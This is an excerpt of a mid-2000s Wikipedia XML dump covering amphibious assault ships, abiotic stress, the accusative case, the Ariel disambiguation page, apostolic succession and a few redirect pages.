It is often said that amphibious assaults are the hardest of all military operations to coordinate. They need such fine control and such a large degree of coordination that it is only the top tier powers that have the ability to even attempt them seriously, let alone pull them off. The two nations that have made by far the most amphibious assaults during the past century are the United States and United Kingdom. From the great assaults of WWII to the recent attack on the [[Al-Faw Peninsula]] in [[Iraq]], both countries have been at the forefront of developing amphibious assault [[Military doctrine|doctrine]] and shipping. The UK maintains what many would call the second most powerful amphibious assault fleet in the world.

===World War I and interwar period===
The history of the specialist amphibious assault vessel really begins during [[World War II]]. Prior to [[World War I]], amphibious assaults had taken place using conventional boats. The disastrous Gallipoli landings of 1915 (see [[Battle of Gallipoli]]) showed that this type of operation was impossible in the face of modern weapons, especially the machine gun. The [[1920s]] and [[1930s]] did not see much progress in most of the world, the exception being the [[United States Marine Corps|US Marine Corps]]. The small Corps operations of the period in central and south American lead to the development of amphibious assault doctrine much in advance of the rest of the world. By the late 1930s, concrete plans were beginning to form to build the first really specialised amphibious assault ships.

Specialised shipping can be divided into two types, most crudely described as ships and craft. In general the ships carry the troops from the port of embarkation to the drop point for the assault and the craft carry the troops from the ship to the shore. Amphibious assaults taking place over short distances can also involve the shore-to-shore technique where landing craft go directly from the port of embarkation to the assault point.

===World War II developments===
Many of the early types of shipping were converted cargo vessels. However, the [[Landing Ship Tank]] (LST) stands out. As the name suggests it is a specialised type for getting tanks or other large vehicles ashore. Unlike the other larger shipping, LSTs could beach and discharge directly onto shore. Beyond the ships carrying the troops, other vessels were needed. It was quickly appreciated that amphibious assaults were such complicated operations that a specialised flagship was needed, with facilities that a normal naval vessel simply could not provide. It was also realised that [[battleship]]s, [[cruiser (warship)|cruisers]] and [[destroyer]]s could not necessary provide all the [[fire support]] (including [[suppressive fire]]) that an assault would need. Therefore specialised shipping was developed that incorporated various direct and indirect fire weapons. These included guns and rockets which could be mounted on landing craft and landing ships. As part of the final barrage before an assault, the landing area would be plastered by these types.

Despite all the progress that was seen during WWII, there were still fundamental limitations in the types of coastline that were suitable for assault. Beaches had to be relatively free of obstacles, and have the right tidal conditions and the correct slope. However, the development of the helicopter changed the equation fundamentally.

==Developments in the 1950s, 1960s==
The first use of helicopters in an amphibious assault came during the [[United Kingdom|Anglo]]-[[France|French]]-[[Israeli]] invasion of [[Egypt]] in 1956 (the [[Suez War]]). Two British light fleet carriers were pressed into service to carry helicopters, and a [[battalion]]-sized airborne assault was made. One of these [[HMS Bulwark (R08)|''Bulwark'']] was comissioned in the late 50s as a dedicated &quot;commando carrier&quot;. The techniques were developed further by [[United States|American]] forces in the [[Vietnam War]] and refined during training exercises. The modern amphibious assault can take place at virtually any point of the coast, making defending against them extremely difficult.

Earlier ships which played a similar role to the current vessels as the heart of an amphibious assault included five [[Iwo Jima class amphibious assault ship|''Iwo Jima'' class]] [[Landing Platform Helicopter]] vessels, built in the [[1950s]] and [[1960s]] and various converted fleet and escort carriers. The first of the type envisaged was the [[escort aircraft carrier]] [[USS Block Island (CVE-106)|USS ''Block Island'' (CVE-106/LPH-1)]], which never actually saw service as an amphibious assault ship. Delays in the construction of the ''Iwo Jima'' class saw other conversions made as a stopgap measure; three [[Essex class aircraft carrier|''Essex''-class aircraft carriers]] and one [[Casablanca class escort carrier|''Casablanca''-class escort carrier]] were converted into amphibs, the [[Boxer class amphibious assault ship|''Boxer'']] and [[Thetis Bay class amphibious assault ship|''Thetis Bay'' classes]].

The ''Tarawa'' and ''Wasp'' types and their ''Iwo Jima'' class forebears resemble [[aircraft carrier]]s. However, the role of an amphibious assault ship is fundamentally different to that of an aircraft carrier. Its aviation facilities are not to support strike or air defence aircraft, but for hosting helicopters to support forces ashore.

==Smaller ships==
Beyond the largest vessels in the fleet, a variety of other specialised types support amphibious assaults. These include the landing platform dock (LPD), landing ship dock (LSD) and command ships (LCC and AGF). Navies other than the USN operate still further types including the older [[tank landing ship|landing ship tank]] (LST), landing ship logistics (LSL) and landing ship medium (LSM).

==Recent innovations==
One of the most recent innovations is the [[LCAC]] or Landing Craft Air Cushioned. These large [[hovercraft]] further expand the range of conditions under which an amphibious assault can take place and increase the speed of transfer of assets from ship to shore.

==Wasp and Tarawa air complement==
The ''Wasp'' and ''Tarawa'' types do in fact carry a small number of [[AV-8 Harrier II|Harrier jump jet]] attack planes. They also have a secondary role as &quot;[[sea control ship]]s&quot;, carrying more Harriers, something that was first used in combat during the [[2003 invasion of Iraq]].

==List of amphibious assault ship types==
* [[LHA (hull classification symbol)|LHA]]
* [[LHD]]
* [[LPH]]
* [[Amphibious transport dock|LPD]]
* [[Dock Landing Ship|LSD]]
* [[LSL (Amphibious Assault Ship)|LSL]]
* [[LSM]]
* [[LST]]
* [[LCC]]
* [[Landing craft tank|LCT]]
* [[Landing Craft Utility|LCU]]
* [[AGF]]

==Navies with amphibious assault ships==
See [http://www.naval-technology.com/projects/index.html link] for further details of these ships. Also see [[List of amphibious warfare ships]][[Image:FS Mistral 02.jpg|300px|right|thumb|Bâtiment de Projection et de Commandement (BPC) ''Mistral'', French Navy]]

United Kingdom ([[Royal Navy]])
* ''[[HMS Ocean (L12)|Ocean]]'' (1995)
* ''[[HMS Albion (L14)|Albion]]'' (2001)
* ''[[HMS Bulwark (L15)|Bulwark]]'' (2001)
France ([[Marine Nationale]])
* ''Mistral'' (2004)
* ''Tonnerre'' ()
* ''Foudre'' (1989?)
* ''Siroco'' (1997?)
Japan ([[Japan Self-Defense Forces|Japan Maritime Self-Defense Force]])
* ''Osumi'' (1996)
* ''Shimokita'' (2000)
Korea, South ([[Republic of Korea Navy]])
* ''Dok Do'' (2005 Launched)
Italy ([[Marina Militare]])
* ''San Giorgio'' (1987)
* ''San Marco'' (1987)
* ''San Giusto'' (1993)
Malaysia ([[Royal Malaysian Navy|Tentera Laut Diraja Malaysia]])
* ''Sri Inderapura'' (1990)
Netherlands ([[Royal Netherlands Navy|Koninklijke Marine]])
* ''Johan de Witt'' (2006)
* ''Rotterdam'' (1997)
Singapore ([[Republic of Singapore Navy]])
* ''Endurance'' (2000)
* ''Resolution'' (2000)
* ''Persistance'' (2001)
* ''Endeavour'' (2001)
Spain ([[Armada Española|Spanish Navy]])
* ''Galicia'' (1997?)
* ''Castilla'' (2000?)

==See also==
*[[Amphibious Assault Vehicle|AAV]]
*[[Expeditionary Fighting Vehicle|EFV]]


[[Category:Ship types]]

[[fr:Assaut (navire)]]
[[no:Amfibisk angrepsskip]]</text>
    </revision>
  </page>
  <page>
    <title>Amplify</title>
    <id>2249</id>
    <revision>
      <id>15900680</id>
      <timestamp>2004-08-28T11:52:58Z</timestamp>
      <contributor>
        <username>Violetriga</username>
        <id>90192</id>
      </contributor>
      <comment>changed to a redirect page to [[amplification]]</comment>
      <text xml:space="preserve">#REDIRECT [[amplification]]</text>
    </revision>
  </page>
  <page>
    <title>Abiotic stress</title>
    <id>2250</id>
    <revision>
      <id>28657061</id>
      <timestamp>2005-11-18T08:46:08Z</timestamp>
      <contributor>
        <username>EncycloPetey</username>
        <id>474828</id>
      </contributor>
      <minor />
      <comment>stub sorting</comment>
      <text xml:space="preserve">'''Abiotic stress''' is caused in living [[organism]]s by nonliving [[natural environment|environment]]al factors, such as [[drought]], extreme [[temperature]]s, [[soil]] conditions, and high winds. [[Plant]]s are especially dependent on environmental factors, and continued abiotic stress can have harmful effects on them or force [[natural selection]].

&lt;!-- Isn't following sentence a biotic factor?
More factors could be a new species moving into an area that was not previously occupied by them.
--&gt;


{{ecology-stub}}

[[Category:Physiology]]</text>
    </revision>
  </page>
  <page>
    <title>Accusative case</title>
    <id>2251</id>
    <revision>
      <id>39797122</id>
      <timestamp>2006-02-15T22:56:28Z</timestamp>
      <contributor>
        <ip>203.217.28.153</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">{{Table_Cases}}

The '''accusative case''' of a [[noun]] is the [[grammatical case]] used to mark the '''direct object''' of a [[verb]]. The same case is used in many languages for the objects of (some or all) [[preposition|prepositions]].

The accusative case exists (or existed once) in all the [[Indo-European languages]] (including [[Latin]], [[Sanskrit]], [[Greek language|Greek]], [[German language|German]], [[Russian language|Russian]]), in the [[Finno-Ugric languages]], and in [[Semitic languages]] (such as [[Arabic language|Arabic]]). It should be noted that [[Balto-Fennic languages]] such as Finnish and Estonian have two cases to mark objects, the accusative and the [[partitive case]]. In morphosyntactic alignment terms, both perform the accusative function, but the accusative object is [[Telicity|telic]], while the partitive is not.

Modern [[English language|English]], which lacks [[declension]] in its nouns, still has an explicitly marked accusative case in a few pronouns as a remnant of [[Old English language|Old English]], an earlier declined form of the language. &quot;Whom&quot; is the accusative case of &quot;who&quot;; &quot;him&quot; is the accusative case of &quot;he&quot; (the final &quot;m&quot; of both of these words can be traced back to the [[Proto-Indo-European language|Proto-Indo-European]] accusative case suffix); and &quot;her&quot; is the accusative case of &quot;she&quot;. These words ''also'' serve as the [[dative case]] pronouns in English and could arguably be classified in the [[oblique case]] instead. Most modern English grammarians feel that due to the lack of declension except in a few pronouns, where accusative and dative have been merged, that making case distinctions in English is no longer relevant, and frequently employ the term &quot;[[Objective_(grammar)|objective case]]&quot; instead ''(see [[Declension in English]]).''

==Example==
In the sentence ''I see '''the car''''', the [[noun phrase]] ''the car'' is the direct object of the verb &quot;see&quot;. In English, which has mostly lost the case system, the definite article and noun &amp;mdash; &quot;the car&quot; &amp;mdash; remain in the same form regardless of the grammatical role played by the words. One can correctly use &quot;the car&quot; as the subject of a sentence also: &quot;The car is parked here.&quot;

In a declined language, the [[Morphology (linguistics)|morphology]] of the article and/or noun changes in some way according to the grammatical role played by the noun in a given sentence. For example, in [[German language|German]], one possible translation of &quot;the car&quot; is ''der Wagen''. This is the form in [[nominative case]], used for the subject of a sentence. If this article/noun pair is used as the object of a verb, it (usually) changes to the accusative case, which entails an article shift in German &amp;mdash; ''Ich sehe '''den Wagen'''.'' In German, masculine nouns change their definite article from ''der'' to ''den'' in accusative case. 

''See also [[Morphosyntactic alignment]].''

== The case in Latin ==
The Accusative case (''Accusativus'') can also mean direction (''domum'' - homewards, ''Romam'' - &quot;to Rome&quot; with no preposition needed), time duration (''multos annos'' - for many years, ''ducentos annos'' - for 200 years) and can be used with infinitive (''Accusativus cum infinitivo''), e.g. ''dico '''eum''' domi abesse'' - &quot;I say he isn't at home&quot;, ''suspecto '''eam''' hoc legisse'' - &quot;I suspect that she has read this&quot; or ''Romani antiqui putabant '''Martem''' bella regere'' - &quot;Ancient Romans thought that Mars directs the wars&quot;.

== See also ==
*[[Nota accusativi]]
*[[Accusative and infinitive]]

==External links==
* [http://www.russianlessons.net/grammar/nouns_accusative.php Accusative Case In Russian]



[[Category:Grammatical cases]]

[[als:Akkusativ]]
[[bg:Винителен падеж]]
[[ca:Cas acusatiu]]
[[cs:Akuzativ]]
[[da:Akkusativ]]
[[de:Akkusativ]]
[[es:Caso acusativo]]
[[eo:Akuzativo]]
[[fr:Accusatif]]
[[gl:Acusativo]]
[[hr:Akuzativ]]
[[is:Þolfall]]
[[it:Accusativo]]
[[nl:Accusatief]]
[[ja:対格]]
[[nn:Akkusativ]]
[[pl:Biernik]]
[[ro:Cazul acuzativ]]
[[sr:Акузатив]]
[[fi:Akkusatiivi]]
[[sv:Ackusativ]]
[[zh:宾格]]</text>
    </revision>
  </page>
  <page>
    <title>Ariel</title>
    <id>2254</id>
    <revision>
      <id>41948732</id>
      <timestamp>2006-03-02T20:49:53Z</timestamp>
      <contributor>
        <username>Shsilver</username>
        <id>637</id>
      </contributor>
      <comment>/* Places */ avoid redirect</comment>
      <text xml:space="preserve">'''Ariel''' etymologically derives from ('''אֲרִיאֵל''', [[Standard Hebrew]] '''Ari&amp;#702;el''', [[Tiberian Hebrew]] '''&amp;#702;Ărî&amp;#702;ēl''') a unisex name meaning &quot;lion of [[Elohim|God]].&quot; See also [[Ariel (spirit)]] and [[Names of Jerusalem]].

==People==
Famous people named '''Ariel''' include:
*Prime Minister [[Ariel Sharon]] of [[Israel]].
*[[Ariel Ortega]], El Burrito - The Little Donkey, an Argentinian footballer, who has played for his country in the 1994, 1998, and 2002 World Cups.
*A stage name for Aron Atwood in [[The Cuban Heels]]
*[[Ariel Rot]], Argentinian musician

==Fictional characters==
'''Ariel''' is any of various characters in works of fiction:

*'''[[Ariel (Shakespeare)|Ariel]]''' is a [[spiritual being|spirit]] who was a servant of [[Prospero]] in [[William Shakespeare]]'s play ''[[The Tempest (play)|The Tempest]]''.
*'''Ariel''' is the chief of the [[sylph]]s serving [[Belinda]] in [[Alexander Pope]]'s poem ''[[The Rape of the Lock]]''.
*'''Ariel''' is the red-haired [[mermaid]] who is fascinated by life on dry land and falls in love with Prince Eric in the 1989 [[The Walt Disney Company|Disney]] movie ''[[The Little Mermaid (movie)|The Little Mermaid]]''.
*'''Ariel''' is a former alias of the [[Marvel Comics]] character [[shadowcat|Katherine &quot;Kitty&quot; Pryde]] who now goes under the name [[Shadowcat]].
*'''[[ariel (Legacy of Kain)|Ariel]]'''  is a [[spiritual being|spirit]] who is bound to the Pillars of Nosgoth in the [[Legacy of Kain]] video game series.
*'''Ariel''' is a girl in [[New Jersey]] in the 1977 hit song &quot;Ariel&quot; by [[Dean Friedman]].
*'''Ariel''' is an [[Invid (Robotech)|Invid]] character in the science fiction animated character [[Robotech]]

==Publications==
'''Ariel''' can also refer to the following publications:

*'''''Ariel''''' is the in-house [[magazine]] of the [[BBC]], named after the [[statue]] of Shakespeare's Prospero and Ariel by [[Eric Gill]] on the front of the BBC's [[Broadcasting House]], [[London]].
*'''''Ariel: a Shelley Romance''''' is a novelized biography by [[André Maurois]] of the poet [[Percy Bysshe Shelley]], who was drowned in a sailboat, ''Ariel'', in the Bay of Lerici, 1822.
*''[[Ariel]]'' is an important essay on Latin-American culture and inter-American relations by Jose Enrique Rodo.
*''[[Ariel (novel)|Ariel]]'' is a [[science fiction]] novel by [[Russia|Russian]] [[author]] [[Alexander Beliaev]].
*''[[Ariel (Plath)|Ariel]]'' was the last book of poetry by [[Sylvia Plath]].
*''[[Ariel: The Book of Fantasy]]'' was a periodical published in the [[1970s]] in book form, distinguished by elaborate production and illustration.
*'''Ariel''' was a book by [[André Maurois]] published by [[Penguin Books]] on its Bodley Head imprint

==Places==
The following locations are named '''Ariel''':

*'''[[Ariel (City)|Ariel]]''' is one of the [[names of Jerusalem]]
*'''[[Ariel (moon)|Ariel]]''' is a [[natural satellite|moon]] of [[Uranus (planet)|Uranus]] discovered in [[1851]] by [[William Lassell]].  In particular, it was named for the character in Alexander Pope's ''The Rape of the Lock'' (see ''[[#Fictional_characters|Fictional characters]]'' above).
*'''[[Ariel (City)|Ariel]]''' is an [[Israeli settlement]] in the [[West Bank]], between [[Nablus]] and [[Ramallah]].
*'''Ariel''' is the name of a lake.  Lake Ariel is in Pennsylvania,USA
*'''[[Ariel (Firefly planet)|Ariel]]''' is a [[fiction|fictional]] planet in the [[science fiction]] [[tv series|series]] [[Firefly (TV series)]]

==Commercial products==
*'''[[Ariel (washing powder)|Ariel]]''' is a [[washing]] powder brand of [[Procter &amp; Gamble]].
*'''[[Ariel (vehicle)|Ariel]]'''  a former manufacturer of [[motorcycle]]s, [[bicycle]]s and [[automobile|car]]s from 1871.
*'''[[Ariel Ltd|Ariel]]''' is a modern [[United Kingdom|British]] car company

*'''[[Ariel Gallery]]''' is an [[artist| artist's]] [[cooperative]] and [[Art gallery| gallery]] in [[Asheville, North Carolina]].
*'''Ariel''' was the name of an operating system by [[Microware]]
*'''Ariel Corp''' was a company (probably US) that developed the IRCAM Signal Processing Workstation ([[ISPW]]) in cooperation with [[IRCAM]] in France
*'''Ariel''' is a brand of [http://en.wikipedia.org/wiki/Gas_compressor gas compressor] commonly used in industrial and [http://en.wikipedia.org/wiki/Natural_gas natural gas] compression.  [http://www.arielcorp.com Ariel Link]

==Other uses of the name==
*'''Ariel''' was the name of an UK space programme of the 1960s which launched an orbital telescope in 1962, long before the [[Hubble Space Telescope]]
*'''Ariel''' was the name of a group with which the electronic musician [[Kid 606]] has worked.
*'''Ariel''' is mentioned as a type of variation on songs in the article on [[Gloria in Excelsis Deo]]

{{disambig}}

[[de:Ariel]]
[[fr:Ariel]]
[[he:אריאל (פירושונים)]]
[[ja:アリエル (曖昧さ回避)]]
[[nl:Ariël]]
[[pl:Ariel]]
[[ru:Ариэль]]
[[sl:Ariel]]
[[fi:Ariel]]
[[sv:Ariel]]</text>
    </revision>
  </page>
  <page>
    <title>April 30, Queens day</title>
    <id>2255</id>
    <revision>
      <id>24815258</id>
      <timestamp>2005-10-05T14:57:48Z</timestamp>
      <contributor>
        <username>Kbdank71</username>
        <id>197953</id>
      </contributor>
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Koninginnedag]]</text>
    </revision>
  </page>
  <page>
    <title>Albert the Bear</title>
    <id>2256</id>
    <revision>
      <id>15900687</id>
      <timestamp>2002-08-31T19:46:53Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
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  <page>
    <title>Apostolic Succession</title>
    <id>2257</id>
    <revision>
      <id>42151318</id>
      <timestamp>2006-03-04T03:55:52Z</timestamp>
      <contributor>
        <ip>65.222.238.114</ip>
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      <comment>/* Apostolicity as episcopal continuity */</comment>
      <text xml:space="preserve">In [[Christianity]], the doctrine of '''Apostolic Succession''' (or the belief that the Church is 'apostolic') maintains that the Christian Church today is the spiritual successor of the Church of the [[Twelve Apostles|Apostle]]s. Different Christian [[religious denomination|denominations]] interpret this doctrine in different ways.

While in many churches it is seen as the basis for [[bishop|episcopacy]] in general, the case of St. Peter's apostolic succession as head of the church is also the basis for the specific claim of universal primacy, notably in the Catholic papacy (where it implies supreme authority) and the [[Anglican Communion|Anglican]] tradition (where it is a more symbolic precedence, not unlike the [[Eastern Orthodox Church|Eastern Orthodox]] [[Patriarch of Constantinople]]).  In any event, all these communions recognize Apostolic succession as the determining factor of a particular group's legitimacy as a Christian church.

==Mainstream Christianity==
===Apostolicity as episcopal continuity===
The [[Roman Catholic Church|Catholic Church]] (including its Oriental and Eastern rites), [[Eastern Orthodoxy|Eastern Orthodox]], [[Oriental Orthodoxy|Oriental Orthodox]], [[Assyrian Church of the East|Assyrian]], [[Anglicanism|Anglican]], [[Old Catholic Church|Old Catholic]], Independent Anglican, [[Independent Catholic Churches|Independent Catholic]], and some [[Lutheranism|Lutheran]] Churches hold that apostolic succession is maintained through the consecration of their [[bishop]]s in unbroken personal [[historic episcopate|succession back to the apostles]] but these Churches do not necessarily interpret this &quot;succession&quot; identically. In Catholic and Orthodox theology, the unbrokenness of apostolic succession is significant because of Jesus Christ's promise that the &quot;gates of hell&quot; (Matthew 16:18) would not prevail against the Church, and his promise that he himself would be with the apostles to &quot;the end of the age&quot; ([[Gospel of Matthew|Matthew]] 28:20). According to this interpretation, a complete disruption or end of such apostolic succession would mean that these promises were not kept as would an apostolic succession which, while formally intact, completely abandoned the teachings of the Apostles and their immediate successors; as, for example, if all the bishops of the world agreed to abrogate the [[Nicene Creed]] or to repudiate the [[Bible]].

Both Orthodox and Catholics believe that each of their teachings today is the same as or is in essential harmony with the teaching of the first apostles, although each might deny this about the other, at least where the teachings of each are in conflict. This form of the doctrine was formulated by [[Irenaeus of Lyons]] in the second century, in response to certain [[gnosticism|Gnostics]]. These Gnostics claimed that Christ or the Apostles passed on some teachings secretly, or that there were some secret apostles, and that they (the Gnostics) were passing on these otherwise secret teachings. Irenaeus responded that the identity of the original Apostles was well known, as was the main content of their teaching and the identity of the apostles' successors. Therefore, anyone teaching something contrary to what was known to be apostolic teaching was not, in any sense, a successor to the Apostles or to Christ.

Catholics recognize the validity of the apostolic successions of the Eastern Orthodox, Oriental Orthodox, Assyrian, Old Catholic, and some Independent Catholic Churches (such recognition is not reciprocated by the Eastern Orthodox, who do not separate &quot;valid&quot; from &quot;licit&quot;). [[Pope Leo XIII]] clarified, in his [[1896]] [[Papal bull|bull]] that the [[Roman Catholic|Catholic]] church believes that the [[Anglican Church]]'s consecrations are invalid because of changes made to the rite of consecration under [[Edward VI of England|Edward VI]], thus denying that Anglicans participate in the apostolic succession; the [[Church of Sweden]]'s apostolic succession is seen as having been maintained, and following the establishment of the [[Porvoo Communion]] an increasing number of Anglicans will also be able to trace their succession through Swedish bishops as well as [[Old Catholic Church|Old Catholic]] bishops, whose [[holy orders]] are recognized as valid by Rome and who, at least those of the Union of Utrecht, are in full communion with [[Archbishop of Canterbury|Canterbury]] since the Bonn Agreement of 1931.  It should also be noted that since the issuance of &quot;[[Apostolicae Curae]]&quot;, many Anglican jurisdictions have revised their ordinals, bringing them more in line with ordinals emanating from the early Church.

In addition to a line of historic transmission, [[Eastern Orthodoxy|Eastern Orthodox]] and [[Oriental Orthodoxy|Oriental Orthodox]] churches additionally require that a hierarch maintain Orthodox Church doctrine, which they hold to be that of the Apostles, as well as communion with other Orthodox bishops. The [[Eastern Orthodoxy|Eastern Orthodox]] have permitted clergy ordained by Catholic and Anglican bishops to be rapidly ordained within Orthodoxy. However, this is a matter of [[Economy (Eastern Orthodoxy)|ekonomia]] and not recognition of Apostolic Succession, although in some cases, Catholic priests entering Eastern Orthodoxy have been received by &quot;vesting&quot; and have been allowed to function immediately within Orthodoxy as priests.

The [[Armenian Apostolic Church]], which is one of the Oriental Orthodox churches, recognizes Catholic episcopal consecrations without qualification (and that recognition is reciprocated).

Some [[Protestant]] churches, such as Anglicans (including those known in the U.S. as Episcopalians), the [[Church of Sweden]], the [[Evangelical Lutheran Church of Finland]], and the Evangelical Lutheran Church of [[Latvia|Latvija]], do have Apostolic Succession (also known as the &quot;[[historic episcopate]]&quot;).  Bishops in the [[United Methodist Church]] do not claim to be within the historic episcopate.  Their succession derives from [[John Wesley]] who was  an ordained priest of the Church of England, but not himself a bishop and therefore had no power to consecrate others.  He justified his practice of ordaining &quot;elders&quot; (&quot;presbyters&quot;) for Methodism by appealing to a perceived need and by citing a minority opinion among the early Church Fathers (and possible ancient precedent from the Church of Alexandria) which held that presbyters (&quot;priests&quot; or &quot;elders&quot;) could, at least collectively, indeed ordain other such presbyters and even consecrate, or &quot;set apart&quot; bishops.

===Apostolicity as doctrinal continuity===

Most Protestant churches would deny that the apostolicity of the Church rests on an unbroken episcopacy.  They generally hold that one important qualification of the apostles was that they were chosen directly by [[Jesus]] and that they witnessed the resurrected Christ.  According to this understanding, the work of these twelve (and the Apostle [[Paul of Tarsus|Paul]]), together with the prophets of the twelve tribes of Israel, provide the doctrinal foundation for the whole church of subsequent history through the Scriptures of the Bible. To share with the apostles the same faith, to believe their word as found in the Scriptures, to receive the same Holy Spirit, is the only sense in which apostolic succession is meaningful, because it is in this sense only that men have fellowship with God in the truth (an extension of the [[Reformation]] doctrines of ''[[sola fide]]'' and ''[[sola scriptura]]'').  The most meaningful ''apostolic succession'' for most Protestants, then, is the faithful succession of apostolic '''teaching'''.

It is worth noting, however, that some Protestant [[charismatic]] churches include &quot;apostles&quot; among the offices that should be evident into modern times in a true church, though they never trace an historical line of succession.

Those who hold to the importance of episcopal apostolic succession would counter the above by appealing to the [[New Testament]], which, they say, implies a personal apostolic succession (from [[Paul of Tarsus|Paul]] to [[Timothy]] and [[Apostle Titus|Titus]], for example) and which states that Jesus gave the Apostles a &quot;blank check&quot; to lead the Church as they saw fit under the guidance of the Holy Spirit ([[Gospel of Matthew|Matthew]] 18:18 and [[Acts]] Chapter 15, for example).  They appeal as well to other documents of the very early Church, especially the Epistle of St. Clement to the Church at Corinth, written around 96 CE.  In it, [[Pope Clement I|Clement]] defends the authority and prerogatives of a group of &quot;[[elders]]&quot; or &quot;[[bishops]]&quot; in the Corinthian Church which had, apparently, been deposed and replaced by the congregation on its own initiative.  In this context, Clement explicitly states that the apostles both appointed bishops as successors and had directed that these bishops should in turn appoint their own successors; given this, such leaders of the Church were not to be removed without cause and not in this way.  Further, proponents of the necessity of the personal apostolic succession of bishops within the Church point to the universal practice of the undivided early Church (up to 431 CE), from which, as organizations, the Roman Catholic, Eastern Orthodox, Oriental Orthodox, and the Assyrian Churches are all indisputably directly descended.

At the same time, no defender of the personal apostolic succession of bishops would deny the importance of doctrinal continuity in the Church.  As stated above, Ireneus explicitly ties the two together.

==Latter-day Saints (Mormons)==

The [[Church of Jesus Christ of Latter-day Saints]] (LDS) has a similar, but unique position.  Latter-day Saints believe that God directs his church at all times through [[Revelation#Latter_Day_Saint_concept_of_Revelation|revelation]] in response to prayer.  However, a person is entitled to revelation only for that [[Calling (Mormonism)|calling]] over which they have authority.  For example, anyone is entitled to revelation for concerning themselves, a head of household is entitled to revelation for their family, a bishop has the authority to receive revelation concerning the congregation over which they preside (e.g. Rome or Ephesus), though only ordained apostles had the authority from the Lord to receive revelation for doctrine for the entire church.  An excellent example of church-wide apostolic revelation is [http://scriptures.lds.org/acts/10 Acts 10:1-48] where Peter had prayed and received revelation from God that the gospel could now go forward to the Gentiles as well as the Jews.

Hence, Latter-day Saints have a different interpretation of the scripture where Christ says &quot;upon this rock I will build my church&quot;:

&lt;blockquote&gt;&quot;When Jesus came into the coasts of Caesarea Philippi, he asked his disciples, saying, Whom do men say that I the Son of man am? And they said, Some say that thou art John the Baptist: some, Elias; and others, Jeremias, or one of the prophets. He saith unto them, But whom say ye that I am? And Simon Peter answered and said, Thou art the Christ, the Son of the living God. And Jesus answered and said unto him, Blessed art thou, Simon Bar-jona: for flesh and blood hath not revealed it unto thee, but my Father which is in heaven. And I say also unto thee, That thou art Peter, and upon this rock I will build my church; and the gates of hell shall not prevail against it.&quot;&lt;br&gt;[http://scriptures.lds.org/matt/16 Matthew 16:13-18]&lt;/blockquote&gt;

When Christ asks his disciples who they think he is, Peter had the right answer because he prayed and received revelation: &quot;Blessed art thou, Simon Bar-jona: for flesh and blood hath not revealed it unto thee, ''but my Father which is in heaven.''&quot;  When Christ says upon this rock I will build my church&quot;, the rock of which he was speaking was ''revelation''.  As long as there were apostles with the authority from the Lord to receive revelation for the entire church, the church would continue to follow Christ.  Circumstances change and so must the church: at one time Christ said not to preach to the Gentiles, and later Peter was given revelation when it was time to start.[http://scriptures.lds.org/acts/10]  The need for constant ongoing revelation is critical to conduct the affairs of the church.

The LDS Church understands that Christ chose apostles and gave them the authority to receive revelation for the church by the laying on of hands.  As necessary, the apostles passed this authority to others by choosing and ordaining new apostles by the laying on of hands (such as Paul and Matthias).  Those individuals then had the appropriate authority to receive revelation for and officiate over the church in that office at that time:

&lt;blockquote&gt;&quot;And they prayed, and said, Thou, Lord, which knowest the hearts of all men, shew whether of these two thou hast chosen, That he may take part of this ministry and apostleship, from which Judas by transgression fell, that he might go to his own place. And they gave forth their lots; and the lot fell upon Matthias; and he was numbered with the eleven apostles.&quot;&lt;br&gt;[http://scriptures.lds.org/acts/1 Acts 1:24-26]&lt;/blockquote&gt;

However, due to distance and persecution, the existing apostles were not able to meet frequently enough to choose and ordain new apostles, and eventually all of the apostles were killed, leaving nobody in the church with apostolic authority.  

At this point, for the church to continue properly, apostolic authority would have needed to be dispensed again from God, but this did not happen.  Instead, the bishops took over the leadership of the church, assuming authority that they did not possess - breaking the aspostolic succession.  An example of the resulting confusion is the [[First Council of Nicaea]] where [[Roman Emperors|Roman Emperor]] [[Constantine I of the Roman Empire|Constantine the Great]], a [[Solar deity|Sun god]] worshipper, presided over a meeting of bishops to determine church doctrine, instead of that doctrine being revealed by God to worthy apostles.  The LDS church refers to the resultant loss of revelation and falling away from the teachings of Jesus Christ as the [[Great Apostasy]].  Latter-day Saints believe that this was predicted when Amos said that there would be a &quot;famine of hearing the words of the Lord&quot; in [http://scriptures.lds.org/amos/8 Amos 8:11.]

The LDS Church maintains that the authority from God needed to be restored to the earth, which took place when God the Father and His son, Jesus Christ, [[First Vision|appeared]] to [[Joseph Smith, Jr.]] near [[Palmyra, New York]] in [[1820]] and called Joseph as a prophet to restore Christ's church to the earth with correct doctrines and practices.  

Near the time that Joseph formally organized the church in [[1830]], the apostles Peter, James and John appeared to Joseph.  They laid hands on Joseph and restored to him the apostolic authority to govern the church.[http://scriptures.lds.org/dc/27/12#12]  Joseph was visited by other heavenly messengers at different times, each one conferring upon him the particular authority or keys for which they had stewardship.  John the Baptist restored the [[Aaronic Priesthood]], Peter James and John restored the [[Melchizedek priesthood (Mormonism)|Melchizedek Priesthood]], with other heavenly messengers such as Moses and Elijah restoring additional authority.  Joseph was given the authority like the apostles of old, to confer to others specific priesthood authority by the laying on of hands.  All of the various keys of this authority have been and are passed on to worthy, male members of the LDS Church according to their particular offices.  In this way, Latter-day Saints hold that apostolic authority was ''restored'' to the earth through the original twelve apostles and apostolic succession continues today through the ordination of new apostles as the older apostles pass away.

==Jehovah's Witnesses==
[[Jehovah's Witnesses]] teach that apostolic succession is an erroneous doctrine. They base this teaching on the accounts of the replacement of Judas Iscariot and the death of the apostle James. In Acts Chapter 1, in the [[New World Translation of the Holy Scriptures]], Peter says: 
&lt;blockquote&gt;&quot;Judas, who became a guide to those who arrested Jesus, because he had been numbered among us and he obtained a share in this ministry... For it is written in the book of Psalms, &amp;#8216;Let his lodging place become desolate, and let there be no dweller in it,&amp;#8217; and, &amp;#8216;His office of oversight let someone else take.&amp;#8217;&quot; ''[[New World Translation of the Holy Scriptures|NWT]]''&lt;/blockquote&gt; 

They contrast this with the fact that Acts does not mention any successor being named for the ''faithful'' apostle James. (Acts 12:2; ''[[Insight on the Scriptures]]'' pg. 129 Vol. I)

==See also==
*[[Twelve Apostles|Apostle]]
*[[List of Bishops]]
*[[Episcopi vagantes]]
*[[Independent Catholic]]
*[[Independent Catholic Churches]]
*[[Old Catholic]]

==Sources and External links==

{{Catholic}}
*[http://www.revneal.org/Writings/apostoli.htm  Methodist Apostolicity] by Gregory Neal
